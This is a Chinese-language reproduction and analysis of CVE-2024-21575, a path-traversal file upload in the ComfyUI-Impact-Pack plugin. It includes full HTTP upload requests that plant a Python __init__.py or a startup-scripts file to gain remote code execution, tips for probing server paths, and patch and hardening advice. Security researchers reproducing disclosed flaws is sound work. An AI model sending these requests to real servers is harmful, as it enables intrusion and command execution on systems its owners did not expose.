记一次Comfy插件RCE复现(CVE-2024-21575 )
字数 1520 2025-08-30 06:50:27
ComfyUI-Impact-Pack插件RCE漏洞复现与分析 (CVE-2024-21575)
漏洞概述
ComfyUI-Impact-Pack插件存在一个任意文件上传漏洞(CVE-2024-21575),可能导致远程代码执行(RCE)。该漏洞源于插件对上传文件路径处理不当,允许攻击者通过目录穿越实现任意文件上传。
受影响版本:ComfyUI-Impact-Pack 7.6.2以下版本
修复方案:升级至ComfyUI-Impact-Pack 7.6.2或更高版本
漏洞分析
漏洞位置
漏洞位于impact_server.py文件中,具体问题在于对上传文件的文件名参数(filename)未做充分验证,导致可以构造包含路径遍历字符的文件名。
漏洞利用条件
- 文件类型不受限制
- 服务器会对同名文件自动重命名(如
example (1).png) - 无法直接创建自定义文件夹
- 需要知道服务器上的部分路径信息
关键限制
- 文件覆盖限制:无法直接覆盖现有文件,服务器会自动为重名文件添加序号后缀
- 目录创建限制:无法直接创建自定义目录
漏洞利用方法
方法一:利用custom_nodes目录
-
发现可利用目录:通过错误信息发现
custom_nodes/git目录存在但缺少__init__.py文件- 错误示例:
Cannot import /Users/xxx/comfy/ComfyUI/custom_nodes/git module for custom nodes: [Errno 2] No such file or directory: '/Users/xxx/comfy/ComfyUI/custom_nodes/git/__init__.py'
- 错误示例:
-
构造恶意文件上传:
- 上传路径:
../custom_nodes/git/__init__.py - 文件内容:包含恶意Python代码
- 上传路径:
-
触发执行:当插件重新加载时,会自动执行
__init__.py中的代码
方法二:利用ComfyUI-Manager的startup-scripts
-
发现可利用目录:
user/default/ComfyUI-Manager/startup-scripts/ -
上传install-scripts.txt:
- 上传路径:
../user/default/ComfyUI-Manager/startup-scripts/install-scripts.txt - 文件内容:包含要执行的命令
- 上传路径:
-
触发执行:系统会根据
install-scripts.txt中的指令执行相应操作
路径探测技巧
当不清楚服务器上的确切路径时,可以通过以下方法探测:
- 尝试上传到不同路径
- 观察错误返回信息
- 通过不断尝试和错误反馈逐步确定正确路径
漏洞复现步骤
1. 确认任意文件上传
构造如下请求确认漏洞存在:
POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../test.txt"
Content-Type: text/plain
test content
------WebKitFormBoundaryABC123--
2. 实现RCE
通过custom_nodes方法:
POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../custom_nodes/git/__init__.py"
Content-Type: text/plain
import os
os.system("恶意命令")
------WebKitFormBoundaryABC123--
通过startup-scripts方法:
POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../user/default/ComfyUI-Manager/startup-scripts/install-scripts.txt"
Content-Type: text/plain
{"install": "", "uninstall": "", "pip": "恶意包或命令", "execute": "恶意命令"}
------WebKitFormBoundaryABC123--
防御建议
- 及时升级:将ComfyUI-Impact-Pack升级至7.6.2或更高版本
- 输入验证:对所有上传的文件名进行严格验证,过滤路径遍历字符
- 文件隔离:将上传文件存储在非Web可访问目录
- 权限控制:限制Web服务器的文件系统访问权限
- 安全审计:定期审查自定义插件和节点的安全性
总结
该漏洞通过组合文件上传和路径遍历缺陷,最终实现远程代码执行。虽然存在一些限制条件(如无法直接覆盖文件),但通过巧妙利用系统自动加载机制和现有目录结构,攻击者仍能实现稳定的RCE。管理员应及时应用安全更新,并审查系统中其他可能存在类似问题的插件。